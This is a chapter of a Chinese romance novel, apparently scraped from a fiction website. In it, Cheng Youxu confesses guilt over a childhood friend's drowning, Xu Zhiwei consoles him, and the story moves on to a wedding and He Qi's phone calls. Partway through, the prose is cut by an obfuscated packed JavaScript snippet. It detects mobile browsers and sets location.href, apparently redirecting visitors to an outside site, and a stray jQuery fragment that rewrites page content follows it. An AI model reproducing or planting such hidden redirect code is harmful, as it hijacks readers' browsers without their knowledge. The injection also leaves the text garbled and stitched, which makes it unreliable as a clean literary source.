音调弱得可怕，“是我朋友的奶奶。”


    “那…你朋友呢？”许知微歪斜着脑袋靠近，尽量也非常小声地问他，但她隐隐有种不祥的预感，这种预感如同针尖一般在她头顶扎了一下，她觉得程宥许会说出一个不太妙的回答。


    而事实也是她想的这样，一旁的程宥许低头用蚊蝇般的声音开口说：“他死了，是我的错……”


    这话似划破黑夜的利刃，听得许知微一惊，心跳的频速骤然加快。


    “什……”


    他/她又是谁？


    微弱的阅读灯撒下不明不暗的光线，许知微透过白茫茫的光能看清程宥许半张脸上的表情，那是自责与悔恨，似乎是她的话勾起了他的痛苦回忆。


    可他说是他的错？总不能是她想的那样……


    许知微把震惊咽了回去，轻喊了他一声，“程宥许。”


    “嗯。”他喑哑地回复。


    “和我说说，好吗？”


    “我……”还没说完，又沉默下去，许知微只觉得惴惴不安，她不知原委，脑子里乱七八糟，设想了许许多多。


    许知微：“嗯？”


    还是沉默。


    直到她轻晃了晃他的胳膊。


    他扭过头，目光染上悲戚，欲张口，嘴唇动了动，又合上，反复了两次，终于——


    可他的表情依旧显得异常痛苦，瞳孔里的聚光点都四散开去。


    “我们去河边，他掉了进去，我……”说到一半又停止，声音的颤抖持续着。


    “然后呢？”


    “然后，他被……被……”


    “淹死了……”


    似乎传来咚一声，石头坠下，荡起水花。


    程宥许抱着头，他不愿意回顾那段过往。


    那年他才七岁，可是他却接到了生命里的第一份死亡信——来自于他的朋友。


    他只是没拉住他，他只是跑回家去喊人的时候摔了一跤，他只是……


    可那么多的“只是”汇聚在一起之后酿成了最不愿看到的结果。


    过去那么多年了，午夜梦回时他还能见到那只他没握住的手。


    尽管所有人都不怪他，尽管所有人都把这次死亡归于意外，可只有他明白，那堵“墙”根本跨越不过，他时常想，如果当时他没答应去河边的提议，事情的结果会不会不一样；如果掉进去的是他，事情的结果会不会不一样……


    “是我没拉住他，是我……他才七岁……”


    轻微的抽泣声将车内的安静撕裂，先是破开了一个细小的口子，接着却越裂越大。


    “程宥许。”许知微忽然慌张不安。


    她一伸手，却摸到了湿漉漉的液体。


    “程宥许，你听我说，”她想不到别的安慰方式，手忙脚乱地解开了安全带，半身越过去拥住他的脑袋，她此刻只想这只被风雨淋湿过后瑟瑟发抖的小狗能够得到温暖，“这不是你的错，这世上，有天灾，有人祸，我们不是神明，没法一一预知，你已经做得很好了，真的。”


    她一口气说了一长串的话，内心没别的想法，只是想制止他再自责下去。


    手搂住了他的脑袋往自己怀里带，程宥许就这样把头靠在了她的肩膀上。


    他的脸埋在她毛茸茸的外套里，压抑地不断啜泣，只有愧疚，只剩愧疚，“没有，我什么都没做……”


    许知微从来没见过男人掉眼泪，准确说是没当面见过，尽管她现在也看不见程宥许的脸，可她却能感受到他身躯的轻微起伏，他在颤抖，他仍在颤抖着哭。


    她脑海中出现的坏设想被丢到九霄云外，只看见眼前出现了一所门窗都没有房子，而程宥许在其中缩着头哭泣。


    这一瞬间，她知道，她需要一个锤子去敲掉这座房子，哪怕是铜墙铁壁。


    可眼下唯一能做的却是静静地等他平复自我。


    如同哄婴孩一般，她拍打他的背，揉捏他的发丝，就这样什么话都不说地搂着他。


    直至啜泣声渐止。


    他先松开她，说了句：“抱歉。”


    许知微口袋里有纸巾，抽出一张，“擦擦。”


    程宥许没接，用手指在眼尾处划拉两下，“没事，让你看笑话。”


    许知微顺势笑了声，“第一次见男的哭。”


    程宥许似有不服，轻轻哼一声，“这还分男女。”


    许知微清清嗓子，“那倒不是，是你哭得太丑了。”


    程宥许眼睛还略微红着，瞥她一眼。


    只一瞬，两个人齐齐发笑。


    许知微问：“好点了吗？”


    “嗯。”


    “那你要不要听我讲个故事？”


    程宥许靠着椅背，微扭头，“什么？”


    许知微想到了贺其，她的第一个好朋友。


    “我很小的时候也有个朋友，他是我邻居，比我大六岁，其实你俩性格有点像。”


    “我什么性格？”程宥许有些好奇自己在她心目中的形象，或许是秘密向人摊开了，他们之间的关系上了一层台阶。


    许知微眼珠转了转，“有点装。”


    “……”


    “不是那种装，我的意思就是表面和内心不一样，但你俩又不太一样，他属于那种外表看着特会欺负人，其实心里特软，对人特好的人。”


    贺其真的很爱欺负许知微，他知道她怕黑，却故意带她去鬼屋玩，明明知道她讨厌吃芹菜，偏偏挑菜里的芹菜给她吃，还故意把芹菜切成黄瓜条状骗她。


    但后来他搬走了，许知微的生活也少了很多乐趣。


    “哎，不重要，”许知微说，“我想和你说的是，我也失去过很重要的人，是我爷爷，我小学的时候他脑溢血走了，就在楼梯上摔了一跤，人就突然没了。丧礼那天，那个朋友要搬家去外地，他就告诉我说啊，每个人来到这个世界上注定是来和人告别的。”


    她想到贺其故作老成的样子就觉得有意思，低笑了一声，“当时他用了一个比喻，我现在想想可太精妙了。”


    “什么比喻？”提到死亡，程宥许的面色又变得凝重起来。


    许知微在他面前扬扬手，冲他笑笑，看他同样回以一笑才继续，“他的原话我已经记不得了，但大体意思就是死亡是每个人人生的终点，他说啊，人生对于有些人来说是长跑，而对于有些人而言则是短跑。”


    “短跑……”程宥许跟着讷讷一句。


    “是啊，他说，长跑和短跑没有优劣之分，距离、时间不能丈量生命的深度，有人离开了，是因为上天不忍心让他经历长跑的劳累和艰辛，所以替他选择了短跑，可是呢，这不能代表他就比长跑的人悲惨，相反，他是幸运的，因为他提早结束了未知的苦痛。他对我说这话的时候我才十岁，其实压根不太明白什么意思，但我现在想起来，觉得他真的是在一夜之间突然长大了……你知道吗？那时候，他也才刚刚送他的父母下葬。”


    夜，无边空寂的夜，只有小小的阅读灯还在竭力发亮，月色出乎意料的暗淡，像是为压抑的话题提供氛围。


    “你想告诉我什么？”


    许知微偏头与他对视，“所以，不是你的错，是上天，是天决定了终点，并非是你。”


    程宥许苦笑一声，“是我没拉住他，的确是我的错。”


    他的视线一瞬不瞬向着她，“最难受的是什么？这件事发生了，可没有人怪我，没有人向我讨要说法，就连奶奶也没有，那是她唯一的孙子，唯一的亲人……”


    说到最后，他的语气垂落下去。


    “不是的，”许知微打断他，“不是这样的，你还不明白吗？”


    程宥许茫然地盯着她，她眼神炯炯，神情肃然。


    “不怪你是因为你已经做得够好了，奶奶，你朋友的奶奶，你也一直在照顾她不是吗？我看见过的，你每天陪着她出摊。”


    “我只是不知道我


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879872|159759||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    能做什么。”


    “可你去做了，你朋友的短跑比赛结束了，你却让这场比赛还在继续，你做得还不好吗？嗯？”


    程宥许默了默，半晌过后发出叹息，“但现在奶奶她也要走了……”


    “我知道，”许知微对这事有预感，在接到那通来自医院的电话时就有预感了，她拍拍他放在扶手箱上的手背，“可是没关系，她的长跑要结束了，这意味着没有苦难可以再磋磨她。”


    她笑笑，露出两个酒窝，她隐隐约约感觉到刚刚眼前看到的那座房子透出些许光亮，那是墙角被凿开的缝隙。


    程宥许注视着她，他们在黑夜中，在空旷的夜里，在生与死交加的人生路里，第一次，交换了秘密。


    许知微每每回忆起这个夜晚都觉得不可思议，程宥许的眼泪刻进了她心中的密封罐里，一点一点酝酿成了蜜。


    然而那天以后，她主动联系了很多次都被拒绝，程宥许人间蒸发了，不在医院，不在乐队的训练室，连苏一明都不知道他去了哪里。


    直到一个月之后，他突然就出现在她面前，带来的确实一个坏消息。


    “奶奶走了。”他手里还捧着两个热烫的红薯。


    许知微静静地看着他，“什么时候的事？”


    “昨天。”


    程宥许默了一阵，忽然说：“能抱抱你吗？”


    许知微张开手臂。


    他的身上有清淡的草木芳香。


    ……


    宴会厅的灯光比交换秘密的那个夜晚要亮得多，许知微觉得眼前的程宥许和她记忆中的已经完全不同，他没了脆弱的模样，只有风采奕奕，他看着自己的爱人，在他人生的长跑里，他选择携手而行的人就在他的对面。


    许知微觉得胸腔之上压了一块巨石，五脏六腑都疼，疼得她喘不上气。


    她拎起包独自出了宴会厅。


    厅内是人声鼎沸，厅外却是冷清寥落，她去洗手间，穿过廊道的时候忽然就想，她人生的跑道怎么就那么长呢？


    上天能不能给予恩惠，化解这种苦和痛？


    想着想着就到了门口，最近总是恍惚，她眨了眨眼，辨清门口的男女标示牌之后再走进去。


    用清水微微扑了扑脸，终于清醒了些。


    贺其的电话又打了过来。


    她喊他哥，但他似乎真的把自己当成了她的亲哥，爱管天管地的。许知微不想接，挂断了。


    可来电显示又出现。


    她继续挂。


    连着三四回，贺其也爆发了，他正在高铁上往丽湖赶，听到最后一次忙音之后手狠狠锤了下扶手，虽是闷闷一声响，可车厢内过分安静，导致这样一声也足够引起注意。


    乘务员听见了，走过来询问是不是需要帮助，她弯着腰，笑脸盈盈。


    贺其自觉失态，可仍笑不出来，只对她摆手说没事，但也就是这一个抬眼间的碰撞，突然想到什么，定睛再次看向眼前微笑着的乘务员。


    “廖静？”他尝试性地问出口。


    廖静同样吃惊，愣愣地看了贺其一会儿，猛然灵光一现，“班长！”


    世界太小了。


    贺其一上车就只顾着许知微的事，完全没注意到在车厢内忙来忙去的人竟然是他的老同学。


    这时笑了出来，“真巧。”


    刚说完话，又看了眼廖静，想到了什么。


    许知微不接他电话，那他就另外想个辙。


    “不好意思，你的手机能借我打个电话吗？”他问廖静。


    “啊？”廖静也没想到相认之后的第一句开场白是这样，短暂懵了会，爽快点头，“行，我去拿，你等会。”


    她往另一边走，回来时递给贺其一部手机。


    “用吧。”


    “谢谢。”


    许知微看手机再无动静，以为贺其死心，松了口气，准备出洗手间。


    迈开两步，铃声刺耳作响。